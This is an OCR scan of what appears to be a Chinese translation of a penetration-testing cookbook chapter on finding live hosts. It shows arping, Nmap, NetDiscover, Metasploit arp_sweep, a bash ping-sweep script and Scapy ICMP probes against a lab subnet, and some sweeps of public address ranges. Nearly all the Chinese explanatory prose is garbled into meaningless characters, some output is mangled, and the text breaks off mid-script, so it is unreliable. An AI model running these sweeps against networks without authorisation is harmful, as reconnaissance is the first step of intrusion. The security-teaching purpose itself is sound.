Wa | E o RS @It AR G SR Sk AGH BT AT LT RLHFR
EWE B o — A FTF

root@KaliLinux:~# ./arping.sh iplist.txt > output.txt
root@KaliLinux:~# 1ls output.txt

output.txt

root@KalilLinux:~# cat output.txt

172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

172.16.36.254

—EMEE R ME I RTUMER 1s 4R EIHZLTLEALH AL
RETVER cat ¥4 EFEIHHIARR -

IAEJR 32
ARPing A—ANLE s ATRIEENIMNZ T LR - KR béﬁﬁﬁ«‘ﬁ)ﬂ 094 &RA
BB HIEVECE bash PRMFHEME NI o IAAIEIRBH — R T IP H

Bt 0 RIS X S |P HAE A AR A T AR TR o

2.3 1 Al Nmap &R & % =2
M % a4t & (Nmap) & Kali Linux F & A 2k fe 58 K69 T A — o Nmap T AR T

PITR B SR > AETHELH o IALREEABTLBERA o
J AR T IR P 0 BATHE 6o fTAE ] Nmap 3T 522 42 4% o

%



#1% F ARPing 4T ARP X3 » 1R &/ LAN LE F A — 1 mm ARP % K8
A% o R RBIER Linux A2 Windows A ZL69 488 o A K& R E IR I F%
BARNE 128 A5 W H—FAF LK Metasploitable2” 2“2 % Windows
Server' k4% ©

BRAE T B

Nmap Z1& Al £ A S PATA HILE B ZX NG5 —AF7 L o -sn &AL
Nmap F#% ping 424 o A KEping "8 AL FHRUAAELERITE =2
AR A2E R EZAELA o BaRK R — AT W LM Ie T 4 A4 TR A
AT o ATH2E 42 :

root@KaliLinux:~# nmap 172.16.36.135 -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-16 15:40 EST
Nmap scan report for 172.16.36.135

Host is up (0.00038s latency).

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

4w LAN 7 #83bik &2 % ARP F K » HARIEBFNRIN AL BT IMNLZEFTLTE
HRE o RE o wREREFH IAHE P HhbiE Hza 4 0 Mk ek TR
Eig

root@KalilLinux:~# nmap 172.16.36.136 -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-16 15:51 EST
Note: Host seems down. If it is really up, but blocking our ping
probes, try -Pn

Nmap done: 1 IP address (0 hosts up) scanned in 0.41 seconds

AT G b4 > RAF A BT T H Tt — R 7)RF IP AL AT H2E R, - &
BTN / 24 OB > TWA{EH 0-255



root@KaliLinux:~# nmap 172.16.36.0-255 -sn
Starting

Nmap 6.25 ( http://nmap.org ) at 2013-12-11 05:35 EST
Nmap scan report for 172.16.36.1

Host is up (0.00027s latency).

MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 172.16.36.2

Host is up (0.00032s latency).

MAC Address: 00:50:56:FF:2A:8E (VMware)
Nmap scan report for 172.16.36.132

Host is up.

Nmap scan report for 172.16.36.135

Host is up (0.00051s latency).

MAC Address: 00:0C:29:3D:84:32 (VMware)
Nmap scan report for 172.16.36.200

Host is up (0.00026s latency).

MAC Address: 00:0C:29:23:71:62 (VMware)
Nmap scan report for 172.16.36.254

Host is up (0.00015s latency).

MAC Address: 00:50:56:EA:54:3A (VMware)

Nmap done: 256 IP addresses (6 hosts up) scanned in 3.22 seconds

1 iS4 ez e B RGP ML % ARP I #%5 K> AT HEANAEZH AR
FA e T VMER -iL %A IP HA eI A 7| R AT A2 # ¢

root@KalilLinux:~# nmap -iL iplist.txt -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-16 16:07 EST
Nmap scan report for 172.16.36.2

Host is up (0.00026s latency).

MAC Address: 00:50:56:FF:2A:8E (VMware)

Nmap scan report for 172.16.36.1

Host is up (0.00021s latency).

MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 172.16.36.132

Host is up (0.00031s latency).

MAC Address: 00:0C:29:65:FC:D2 (VMware)
Nmap scan report for 172.16.36.135

Host is up (0.00014s latency).

MAC Address: 00:0C:29:3D:84:32 (VMware)
Nmap scan report for 172.16.36.180

Host is up.

Nmap scan report for 172.16.36.254

Host is up (0.00024s latency).

MAC Address: 00:50:56:EF:B9:9C (VMware)

Nmap done: 8 IP addresses (6 hosts up) scanned in 0.41 seconds



L4E A -sn EAE > Nmap % & 22X A %22 ARP # R e 4L 0 i H4 R

FEHALTF LAN £ € e A F32 ICMP FK o &3t KM %

(/£ 172.16.36.0/24 A HE) L& EZAMATE Nmap ping 1244 4 fEiR =
MAC 33k o X2 FH A MAC ik d 5k B EALE) ARP /2R E] o {252 » 4ok 2f R
Fl LAN L&y 242 2 Audh4T48 Fl 69 Nmap ping 424 0 ek 2 R4 8.4 & 4069 MAC

Hak o

root@KaliLinux:~# nmap -sn 74.125.21.0-255
Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-11 05:42 EST

Nmap
Host
Nmap
Host
Nmap
Host
Nmap
Host

scan report for

74.125.21.0

is up (0.0024s latency).

scan report for
is up (0.00017s
scan report for
is up (0.00028s
scan report for
is up (0.00017s

74.125.21.1
latency).
74.125.21.2
latency).
74.125.21.3
latency).

Gt AZM AL TGE (NECE 74.125.21.0/24 ) WATH » RTTAER] - AT

FZR A AAZARE MAC itk o &% > Nmap 2R 7T &

FHF| A H =

RN RE o e b Brt o CHERA TR A ICMP#HR A% =R LA NRAEL
M o he RARAE ] Wireshark %422 » M Nmap t A# M % L 8 T AuAT ping 42
B EATRZHEBATF » RTILEE Nmap #1 1 ARP # KRR 5| KA TEE A 49

M

Mo

Destination

498 Broadcast
499 Broadcast
500 Broadcast
501 Broadcast
502 Broadcast
S03 Broadcast

IAEJR 32

Nmap &4 5B it » FRR I EERFTRAERTUASITHE GaR o KENER
B —H6 o Nmap # ARP 5 KRR Z B — A 7] IP 3bakag ) 35364k » il Ar 128
B RIRF|EFH Ao 2R > BT IARTEMRE Nmap F > BT Al 2453

4 8 S FOR AT o

Proto

ARP who
ARP who
ARP who
ARP who
ARP who
ARP who

ol Info

has
has
has
has
has

has

172.
172.
172,
172.
172.
172.

16.
16.
16.
16.
16.
16.

2.4 1¢ )1l NetDiscover £ % % —E

NetDiscoverz — AL & » B Ti L ARP L&Ak ah 5 M7 1% 5| M 4 AL o

88888 Y

. 1027
- 1257
. 1637
. 1647
. 1967
« I1T

Tell
Tell
Tell
Tell
Tell

172.
172.
172,
172.
172.

16.36. 232
16.36. 232
16.36. 232
16.36.232
16.36. 232

Tell 172.16.36.232

CEX 33

EXG&EoLER Rm > CALECIRFE T LL LA o AXINFTHRLE P -
A1 8 4= 174E Al NetDiscover # 4T E#hfaik shda fh -



£ &

1% Al NetDiscover #4T ARP &3 » & &£ LAN LE VimA — /A k ARP 1%
Keg R 4% o &ﬁ%?%&mUmmﬁmmmws%%%ﬁA AR RH TN
FREALYESEL S HAME—F AT HRE Metasploitable2” 5“2 %
Windows Server'#ik$% o

e B

NetDiscover & & 1A #ATH2E X A& 169 T B o NetDiscover ¥ A A Tia#h—
A7) P33t s 7ERMER -r AL CIDR AT EPHOMBCEHIEA 5% - W H

KA R—ANEK BF2 R TES IP ik 485246 MAC 3uik s vh 2 3 F > vh2 8
¥EF MAC/) & :

root@KaliLinux:~# netdiscover -r 172.16.36.0/24

Currently scanning: Finished! | Screen View: Unique Hosts
5 Captured ARP Req/Rep packets, from 5 hosts. Total size: 300

IP At MAC Address Count Len MAC Vendor
172.16.36.1 00:50:56:c0:00:08 01 060 VMware, Inc.
172.16.36.2 00:50:56:ff:2a:8e 01 060 VMwWare, Inc.

172.16.36.132 00:0c:29:65:fc:d2 01 060 VMware, Inc.
172.16.36.135 00:0c:29:3d:84:32 01 060 VMware, Inc.
172.16.36.254 00:50:56:ef:b9:9c 01 060 VMwWare, Inc.

NetDiscover & 7T Al T #k B M AT AL IP ik o 23 CIDR R &5
VEA it > -1 AT AGMA LA L AR RIGZEAIER -

root@KalilLinux:~# netdiscover -1 iplist.txt

Currently scanning: 172.16.36.0/24 | Screen View: Unique Hos
ts
39 Captured ARP Req/Rep packets, from 5 hosts. Total size: 234
0

IP At MAC Address Count Len MAC Vendor
172.16.36.1 00:50:56:¢c0:00:08 08 480 VMwWare, Inc.
172.16.36.2 00:50:56:ff:2a:8e 08 480 VMwWare, Inc.

172.16.36.132 00:0c:29:65:fc:d2 08 480 VMware, Inc.
172.16.36.135 00:0c:29:3d:84:32 08 480 VMware, Inc.
172.16.36.254 00:50:56:ef:b9:9c 07 420 VMware, Inc.



KT AT RK 58 5 — MR R HATR A R 5k o AT R
b A EA IP Hohk ARP 7 455 RA B T AR R &k B 22 41% % (Flde N4z 0 A 4

(IDS) A AZEA AL (IPS) ) 92 Rohm o B AL 7 LT ARP R

ToORAARKAALARSGNE LR ALRE » KE12 %I ARP a2 &6
B o EAPEFH B RBART LR -p HIRAMAT

root@KalilLinux:~# netdiscover -p

Currently scanning: (passive) | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 2 hosts. Total size: 240

172.16.36.132 00:0c:29:65:fc:d2 02 120 VMware, Inc.
172.16.36.135 00:0c:29:3d:84:32 02 120 VMware, Inc.

BRAEREKERZEFTOHLENR » RAFERLFAEALTMBRILGER 4+
2 EBURLF| AT R LBt iiE o WRECELAEME LET  AFHFEARER
Ko AAREEXT ) RRERESCERI DAL EEGARP R4 o AT A
TWINF P A K TAE » RFE15 7 SPAN X TAP » X% F £ F#H CAM & kB H X
WAL BT RE o

IAEJR 3

NetDiscover ARP & 3L & 3k KRB 5 KN Z AT T8 69 522 & I 7 ik 0 3k K48

Bl o INTAEFEMNTHOE— BT AN TERA » EHEEHLIESX > UAE
BEPEASMACT B o ERXSHEAT  MABRKXELIHMELELAN > AR
ARP " 5 KA R E LG BN B P st AT — R E » RECNRLT
NetDiscover T £ o Ky » TR LLAA G > REL NG EAEXLEM
%oy M &P Ta4 A A o NetDiscover i it 7 4& R & 85 MAC Mot 89 a7 48 o
(AT3ANNF%/244%) %12% MAC ) # o R4 Heabizin M & o egHlidd » 15
WE ARG LRIy R 6 RFARR o

2.5 1% | Metasploit 3% & % — 2

Metasploit L&A RAF A L L » IR EZETRGFF FiE@mitn o Ko

BT A LRI 0 Metasploit A — 24 Bh#E 3k » TR T & Apdadifels Sl

£ o HHZE > B—DRBRRTAR T ARBT R EWHAT ARP 24 - X315 5
AARE R B > A A Metasploit £ K % 5 EMAAR BB LTL > FEB LS

%] Metasploit ¥ » W F T T MARBEATFHLAEEEK o BAMFTHMEET
T 4 {T4% Fl Metasploit &k #47 ARP &, °

%



1% A Metasploit #/7 ARP &R 3 > 1R F %&£ LAN LE J A —4mm ARP 5 K
B A% o RAEEEG THIEA Linux 72 Windows A LB A E o A X EARMEIRINFE T
REBEALNE 5128 HANE —F AP % Metasploitable2”F“ % £
Windows Server’#k4% o

BeAE ¥ 3
BRZEWHINA Z—ANF|FAER > Metasploit A K E 694 Bk » T B T2 fhfe

SENE o BHEA—ATUAATHATE =2 KA MBI o 22 5 Metasploit
MELR > H1EF msfconsole 4 RE ERNGAELENES R ER

root@KaliLinux:~# msfconsole

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM

MMMMMMMMMMM MMMMMMMMMM
MMMN$ VMMMM
MMMN1 MMMMM MMMMM  JMMMM
MMMN1 MMMMMMMN NMMMMMMM ~ JMMMM

MMMN1 MMMMMMMMMNmmmNMMMMMMMMM ~ JMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM ~ jMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM ~ jMMMM
MMMNI  MMMMM MMMMMMM MMMMM  jMMMM
MMMNI  MMMMM MMMMMMM MMMMM  jMMMM
MMMNI MMMNM MMMMMMM MMMMM  jMMMM
MMMNI WMMMM MMMMMMM MMMM#  JMMMM

MMMMR  ?MMNM MMMMM . dMMMM

MMMMNm ~?MMM MMMM ™~ dMMMMM

MMMMMMN  ?MM MM?  NMMMMMN

MMMMMMMMNe JMMMMMNMMM

MMMMMMMMMMNmM, €MMMMMNMMNMM

MMMMNNMNMMMMMN X MMMMMMNMMNMMNM  MMMMMMMMNMMNMMMMm-+. . +MMNMM
NMNMMNMMNMM

http://metasploit.pro

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting
with Metasploit Pro -- type 'go_pro' to launch it now.

=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
msf > use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) >

wFEEBRE 0 TME show options w4 &4 T H E %A :



msf auxiliary(arp_sweep) > show options

Module options (auxiliary/scanner/discovery/arp_sweep):

Name Current Setting Required Description

INTERFACE no The name of the interfa
ce

RHOSTS yes The target address rang
e or CIDR identifier

SHOST no Source IP Address

SMAC no Source MAC Address

THREADS 1 yes The number of concurren
t threads

TIMEOUT 5 yes The number of seconds t

o wait for new data

R EE ARG A AR A AP EENE L TAIEER
Ao EDRIERKERNTRACAMORELZE - KRNTAT o5 EHE
Metasploit Framework £ %] & F T ¥A{E X £ 4% shell 74 o ZUAT B F » KA1
7+ & I+ Metasploit Framework 24| & @ 6915 LT » # 47 & %8 A R

1T ifconfig

msf auxiliary(arp_sweep) > ifconfig ethl
[*] exec: ifconfig ethl

ethl Link encap:Ethernet Hwaddr 00:0c:29:09:c3:79

inet addr:172.16.36.180 Bcast:172.16.36.255 Mask:255
.255.255.0

inet6 addr: fe80::20c:29ff:fe09:c379/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1576971 errors:1 dropped:0 overruns:0 frame:0

TX packets:1157669 errors:0 dropped:0 overruns:0 carri
er:0

collisions:0 txqueuelen:1000

RX bytes:226795966 (216.2 MiB) TX bytes:109929055 (10
4.8 MiB)

Interrupt:19 Base address:0x2080

AThia#HegiEo £ ethl » T H_BERMREY A XM RH KT M L6 E

FHIEN > BB EZEARMAL IP o FREA VA Z2RTEE o X4k
BT 2 IP it Ae T ML 87 > K142 172.16.36.0/24 6B o o> T
AfeiZ sl B PR B2 A4k IP HikF= MAC Xt o 2/ Metasploit F & L
BB » 512 set 94 RAERZEZANETZ » RELEZRGE :



\Y

msf auxiliary(arp_sweep) set interface ethl
interface => ethl

msf auxiliary(arp_sweep)
RHOSTS => 172.16.36.0/24
msf auxiliary(arp_sweep)
SHOST => 172.16.36.180
msf auxiliary(arp_sweep)
SMAC => 00:0c:29:09:¢c3:79
msf auxiliary(arp_sweep)
THREADS => 20

msf auxiliary(arp_sweep)
TIMEOUT => 1

\Y

set RHOSTS 172.16.36.0/24

\Y

set SHOST 172.16.36.180

\Y

set SMAC 00:0c:29:09:¢c3:79

\Y

set THREADS 20

\Y

set TIMEOUT 1

e

A%

B
gg
}\\_\.
‘?‘
Sy
=1
N
=

% EIFEEE 0 TVMES show options #4HX
% B 6 PTAAA

msf auxiliary(arp_sweep) > show options

Module options (auxiliary/scanner/discovery/arp_sweep):

Name Current Setting Required Description

INTERFACE eth1l no The name of the inter
face

RHOSTS 172.16.36.0/24 yes The target address ra
nge or CIDR identifier

SHOST 172.16.36.180 no Source IP Address

SMAC 00:0c:29:09:¢c3:79 no Source MAC Address

THREADS 20 yes The number of concurr
ent threads

TIMEOUT 1 yes The number of seconds

to wait for new data

AR A X BEREEHG > TWUALH run 4B s o ik @ #3579
12 ARP R I EATiEs M o BELRHIMFE (NIC) BEH » Bd AN L
A MAC Hohb 69 RT3/ F ¥ & 3L ¢

msf auxiliary(arp_sweep) > run

172.16.36.1 appears to be up (VMware, Inc.).
172.16.36.2 appears to be up (VMware, Inc.).
172.16.36.132 appears to be up (VMware, Inc.
172.16.36.135 appears to be up (VMware, Inc.
172.16.36.254 appears to be up (VMware, Inc.
Scanned 256 of 256 hosts (100% complete)
Auxiliary module execution completed
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TAER A

Metasploit #.47 ARP X I 6) K KR 240 R 8 @ | #— A 2] ARP 5 K > iai%‘ﬂm
th ARP v 2 o Metasplmt MBI A R PIT A E S AL IP Huik » RG>
TIET PRE MAC ) B L4R -

6 1% F ICMP & & % =

B =2 09 K ILT REE M 468 I 5 An AR AR ‘P KRR TR o =20 KA
# ICMP ping R 5| &5 40 o AL E 7 T ol A ping T E £ @42 4L E
PATHZ BRI -

&

1R ping MATHZBERXATEEFLIRINE > B A Internet L85 % AL ARK = 5
ICMP & £% 11 o 1'?-»% BN DR R ARG TELIRIRIE T PATIEAT LA 69 M 2%
AR RIERD 5 R % BT B SR AN e 0 TR TR, o 4o RARA L LR IR
i)%‘?#uﬂt/fiﬂi REZESHE—A R ICMP 15 R69 2% o ERBEEG R F - 4L
A Linux #= Windows ARG AE c AXAEAMERIT P RIEALNE S8
W5 5 5 — 3 49" % 3 Metasploitable2’#* % X Windows Server’#44% o sts1 > &
FEEZEANLAREE (4o VIM & Nano) MW AE AL RL o A X% 5 WA
ME S8 HHEAR $¢W%mx$%f“<WM#wa”%%o

A B

K% H AT AT TAE G AHRAR B A ping T o &4 ping AE EIMAEFTLR
TEHRES > RREFEZEGGLFES TR T LR D“Jﬁﬁﬁ IP Huik :

root@KalilLinux:~# ping 172.16.36.135

PING 172.16.36.135 (172.16.36.135) 56(84) bytes of data.

64 bytes from 172.16.36.135: icmp_reg=1 ttl=64 time=1.35 ms

64 bytes from 172.16.36.135: icmp_req=2 ttl=64 time=0.707 ms
64 bytes from 172.16.36.135: icmp_req=3 ttl=64 time=0.369 ms
AC

--- 172.16.36.135 ping statistics --

3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.369/0.809/1.353/0.409 ms

& a4t 5 ICMP & 245 K44 B %%z%f;édw;%éﬁ IP ¥oit o A T # 4k xtt ICMP
B RiERGEE » LAHRRIUNES o REEHwT

MK 8 (P Huhk sl 5B th A 4

ARG LbMATEHRIALA

%ﬁﬁﬁ&@i%f@ﬂhﬂP%Tﬁ%@

AYuLR B E Hyeh e ICMP RE

BERMAGHAREAEZFZICMP REM B AR IP B ZA AT ZHKM %G K3



T AER > HIk% TERAICMP £ R4 o £ TIANREA > ICMP
THRAEARTE 125 ARP RF » €2 —ATHa sl > THTLILBHRM D
B EM o HEZE EAW@YTH P £ ping FALTHHMEPEHEINL A c o &
EATAERTHLFD (BEAREK - ctrl + ¢ ) ®k4Z1k#42 o 5 Windows R »
KINFILT » 2ARE Linux 3#1E A %48 ping #4424 %£R ping BisEAL e 12

o ¢ BATHATIHLEZLEY ICMP 15 K%k o {2 AR » — 23k 5| A0 R,
FNEFOFEOHNDF CBK s SRR EFTER - AATEROGS

root@KaliLinux:~# ping 172.16.36.135 -c 2

PING 172.16.36.135 (172.16.36.135) 56(84) bytes of data.

64 bytes from 172.16.36.135: icmp_req=1 ttl=64 time=0.611 ms
64 bytes from 172.16.36.135: icmp_req=2 ttl=64 time=0.395 ms
--- 172.16.36.135 ping statistics --

2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 0.395/0.503/0.611/0.108 ms

5 ARPing #8 B 8 77 X 7T vA4£ bash Bp A F A& » @ FHAT0BIRB T % A

IP > ping ¥4 bash B A% &1EMA » RES AN EMLEHATIHIT R ZELIN - A
TRBEMA » T LML RIF KK ping 1% A0 L6 & Feaf o At &
11 % 8 % ping — &N Feil@ CEH Fom A ICMP 69 4L 0 RB1% A ping # Kk
BE—AFrhm Al o ATHASERTX— 4 ¢

root@KalilLinux:~# ping 74.125.137.147 -c 1

PING 74.125.137.147 (74.125.137.147) 56(84) bytes of data.

64 bytes from 74.125.137.147: icmp_seq=1 tt1=128 time=31.3 ms
--- 74.125.137.147 ping statistics --

1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 31.363/31.363/31.363/0.000 ms
root@KalilLinux:~# ping 83.166.169.231 -c 1

PING 83.166.169.231 (83.166.169.231) 56(84) bytes of data.
--- 83.166.169.231 ping statistics --

1 packets transmitted, O received, 100% packet loss, time Oms

5 ARPing #H R—# » kA E—FHENFVTRBALLEE IP 3ibda X 65 h
oo S HAAL T A skibak 94T £ o AR A Rl AR A9 7 X 0 &RATT 2L
R grep A= cut #9AE VAR A E ping 5K FIRE IP ik .

root@KalilLinux:~# ping 74.125.137.147 -c 1 | grep "bytes from"
64 bytes from 74.125.137.147: icmp_seq=1 ttl=128 time=37.2 ms
root@KalilLinux:~# ping 74.125.137.147 -c 1 | grep "bytes from" |
cut -d " " -f 4

74.125.137.147:

root@KalilLinux:~# ping 74.125.137.147 -c 1 | grep "bytes from" |
cut -d " " -f 4 | cut -d ":" -f 1

74.125.137.147



Wit 6,48 — A7) HAx IP Mk e P8 IR P A4S F AE 55 5] 0 RAT T A B iR IR B vh B2
ICMP & 2% K& TA o B A MR EE69E3) IP M7 & o 1& AFE R
b ) B ARde T AT -

#!/bin/bash

if [ "$#" -ne 1 ]; then
"Usage - ./ping_sweep.sh [/24 network address]"
"Example - ./ping_sweep.sh 172.16.36.0"
" Example will perform an ICMP ping sweep of the 172.16
.36.0/24 network"

fi
prefix=$( $1 | cut -d '.' -f 1-3)
for addr in $(seq 1 254); do
ping -c 1 $prefix.$addr | grep "bytes from" | cut -d " " -f
4 | Cut _d II:II _.F 1&
done

AR bashBr AP » 5 —4T2 L T bash B R M4LE o 45T K 69K kAT
RERAEZAGRET ARG — 5 - RAFIFEREOAROBERETTIFT 1
KT o W RARBEMI AL > MR R Zx > FHLBEBRK - Akl i
B> By RAER / 24 MIAHAEE N S o T —ATRAD IR AL 69 M 45 ik o 32 B %
A4 o Bldo » do IR M B HAEZ 192.168.11.0 » M ATER T &4 K RIA

A 192.168.11 ° KGR for BIHBIRE—NF VM > RERM / 24 W
%P A RBEANTEL P 33k o st THATAL IP AL » PATEA ping 4 ° A
il d g mAEANE RO AR 0 KRB grep RRILH A 4E bytes 89T o
ARG 2EFH T IP AT o & » R — A 7] cut REBINZMEF
PRECIP ik o FHiE& > £ for BIMESHI KRR & 5 MAES T o %A
B RG FATHATIES » MR IAT o TR KRR Y T8 1P AT E 98

] o RJG o T VML R &) FAe AL 0 FF A bR T AT B K69 8 AR R AT A

root@KalilLinux:~# ./ping_sweep.sh

Usage - ./ping_sweep.sh [/24 network address]

Example - ./ping_sweep.sh 172.16.36.0

Example will perform an ICMP ping sweep of the 172.16.36.0/24 ne
twork

root@KalilLinux:~# ./ping_sweep.sh 172.16.36.0

172.16.36.2

172.16.36.1

172.16.36.232

172.16.36.249

LA BT AR E LT HATH » ARGk o 12& > S48 F KW &3t
TEIATEE » 4255 2| FFE AT » HB D EF P Heohk e 7] & o 4o il @ 69 M A P prit
WEARAE - S R AT A E T B B A > RBEE RAEH o XTUUEA £



5 o JE A LAY L AR R EIL o

root@KaliLinux:~# ./ping_sweep.sh 172.16.36.0 > output.txt
root@KalilLinux:~# 1ls output.txt output.txt
root@KaliLinux:~# cat output.txt 172.16.36.2

172.16.36.1

172.16.36.232

172.16.36.249

EARBEE TGP > 1s G4 A T A Ud b Ul o B SR B AR A S Sft
B4 cat @A TUEERBEIHHAR o

IAEJR 32

Ping £ ITTXkF XA R4ty TR » RAAHREA TR EHEN o Kim > BH
BT RAENINAEGHEE s A AT L o IR F 69 bash B
AERREHE / 24 CIDREE T HEATHAE IP 3akik A ping 48] o 2% » &
MNAEZFHIATREA LI 091E % > bash AF KRN AL HEIRE RS T kbR
iR BAAMPATAES o

2.7 1 ] Scapy K% =2

Scapy £—H L E > AFR P HEHGME T EANAT LEIEL - WTATUAAT
M ICMP Wit K » FF CITEARNB RS oaE o IAAREOREET T dofT
1% F Scapy {2 @A I EHATHEIE R

&

1% ] Scapy #ATH ZEZ X IMRFEELHBIFR » BA Internet L89%F % A LA @R
ICMP & £ K o {2& » 52 2l Z AR A KR A T8 LR IRE F RATIEAT R A 69 M %
At IR RARBEZBEATE M 360 09 K EN o 4o RARA Z /£ F IR
Wb PATIALR + R B E YA —on s ICMP i R A% o EARBEE Rl P » 1%
A Linux #= Windows &AM EE « HFXEAMZRIETRERAANE 128
iH % W — % #9422 X Metasploitable2”##“2 ¥ Windows Server’#t4& o stoh » K
VEFEAENLAAREER (42 VIM 3 Nano) KM ABEAHAL - A KRSl A
MELSIZE S HHARNF—FEPOERALRARESE (VIM F Nano) "4 o

BAE T B

A T4 Scapy K% ICMP & 15K » BN FEAMBEERRAEZFR f 4
BB G 8 — ANHF A B 00 N E 3R OS| 4R & 2 # AT I o AR Al g 4% A
M BHENERKBESNER  ATAEARICMP @R#H R IP EFE 25 ICMP
HRMER o AT HEEA scapy 44 ATH Scapy K EXEH & - A%

¥ IPp HEMERE



root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> ip = IP()
>>> ip.display()
#a[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id=1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\

P& #AE K2 B AR ek Bt g o T VA AORTA display() SRECKRIEEE P o 1F
EE 0 B BAF IP MALE B BT B BT > TR AL AN E AL B Fh B HT A
ERNFEOXFESG P N IPp HEOEBCEESERT » KNKER
BN OBRFPUES=E o ZRWIBHGT—NEZICMP 2 » £401% LK%
BT E

>>> ping = ICMP()
>>> ping.display()
###[ ICMP ###

type= echo-request

code= 0

chksum= None

id= 0Ox0

seqg= 0x0

FEFT R R F 2 ICMP 2 2428 ping T &L AW o KRG T LA

Al display() ##Z %k L7 ICMP BM69KINERE o A T HATICMP & 215K » K
INERERXRLBT o RARNEACEHMEE » G TAEE R ESRE - &
Scapy ¥ > Tl A »RENERRMERE R - AAT@GELE



>>> ping_request = (ip/ping)
>>> ping_request.display()
#Hit#[ IP |###

version= 4

ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64

proto= icmp
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\
#i##[ ICMP ###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0Ox0

—EREERBMRE— AT E > display() HETAIZREANR o LA 7 M
BEHIRBAFTHARARBRIE - AECERETEL > FLEEZITRER
Ko XL Scapy T sri() R K TR -



>>> ping_reply = sri(ping_request)
. .Begin emission:

Finished to send 1 packets.
*
Received 15 packets, got 1 answers, remaining O packets
>>> ping_reply.display()
#Hit#H[ IP |###
version= 4L
ihl= 5L
tos= 0Ox0
len= 28
id= 62577
flags=
frag= oL
ttl= 64
proto= icmp
chksum= 0xe513
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i##[ ICMP ###
type= echo-reply
code= 0
chksum= Oxffff
id= 0x0
seq= 0x0
###[ Padding [###
load= '"\x00\x00\x00\x00\x00\Xx00\x00\Xx00\x00\Xx00\Xx00\x00\
X00\Xx00\ x00\x00\x00\x00'

FERBEGTBIF > sra1() JEKL T ping_reply TF o ZFPATZRIE > A&

G ERAFBLIT F o EHEMIIARE » £ ping_reply T = LA

F display() RERBAARLAAL o FEE » wFIB OB R EmisER
b ALK EE) » BARMAER Kali A4L69 IP 33k o B 45h > i & AR ICMP £3 &
W Rz A o KT bR o 4% A Scapy K #E e ICMP 89 Z A2 F A Rk RA A » {2
4o RAR Z X f JEef 2 69 B AR 3uakAE Al AR Bl 69 B o RS RBRIEFE R A

>>> jp.dst = "172.16.36.136"

>>> ping_request = (ip/ping)

>>> ping_reply = sri(ping_request)
.Begin emission:

**%* [TRUNCATED} ***



T By AT o fE ki ik R TR > AFRMRIEA Ctrl + C BAEIXHE o T
REIR AT 0 sr1() RBSBE NG > BEFENEAL o R IMNTAETH
B > KB R R IP A ZA ST EIH LI > M ARER%E AL FRZRIELTES
B e AT EMATAZAE R HE o BT LKA

>>> ping_reply = sri(ping_request, timeout=1)
.Begin emission:

Received 3982 packets, got O answers, remaining 1 packets

W RERE B AEE S sr1() JRGFZE AL wREBZOHRARA

MEm R > #AZK R o ERTRBENREIT > sri() HEATH ICMP 5 KRR &
Bl vk o dedk 0 WA RMEB A > 2 1R E o B AW A LR TEF > &K
MHRBERAL T2 > RO BT ANATHEAF G F o {28 » LB[FFRLE R %
RE o AT BT R RECE R o

>>> answer = sr1(IP(dst="172.16.36.135")/ICMP(), timeout=1)
.Begin emission:
*
Finished to send 1 packets.
Received 5 packets, got 1 answers, remaining 0 packets
>>> response.display()
###[ IP |###
version= 4L
ihl= 5L
tos= Ox0
len= 28
id= 62578
flags=
frag= OL
ttl= 64
proto= icmp
chksum= 0xeb512
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i#[ ICMP ###
type= echo-reply
code= 0
chksum= OXffff
id= Ox0
seq= 0x0
###[ Padding ]|###
load= '"\x00\x00\x00\Xx00\Xx00\Xx00\X00\X00\X00\Xx00\Xx00\Xx00\
X00\X00\ Xx00\x00\x00\x00'



ARERBEGTE P » ZAME A @A LRGeS TR GPITAE LA » 2R ET A
BHERRARKGENGELERTR > HEE > wREBNMEE T ONELEA »
ICMP & & A KF IP it g » HAMLLAZ A 7% o BT AKIHME
St 8] P OOR AR A ol R B R AT R kst

>>> answer = sri1(IP(dst="83.166.169.231")/ICMP(), timeout=1)
Begin emission:

Received 1180 packets, got O answers, remaining 1 packets

>>> answer.display()

Traceback (most recent call last): File "<console>", line 1, in
<module> AttributeError: 'NoneType' object has no attribute 'di
splay'

B R ZX R Rz 6 4R o T AR T A RE § A IP Hoik Bl 5 34T ICMP 35 R
BB A o By RS BIRR M B AR IP AL P B — ML FF TR T4 » A K
MERFZ—ANICMP R o BEA sr1() RPCEEE > P a2 kol € 26
FME| A6

#!/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

if len(sys.argv) !=

print "Usage - ./pinger.py [/24 network address]"

print "Example - ./pinger.py 172.16.36.0"

print "Example will perform an ICMP scan of the 172.16.36.0/
24 range"

sys.exit()

address = str(sys.argv[1l])
prefix = address.split('.')[0] + '.' + address.split('.')[1] + '
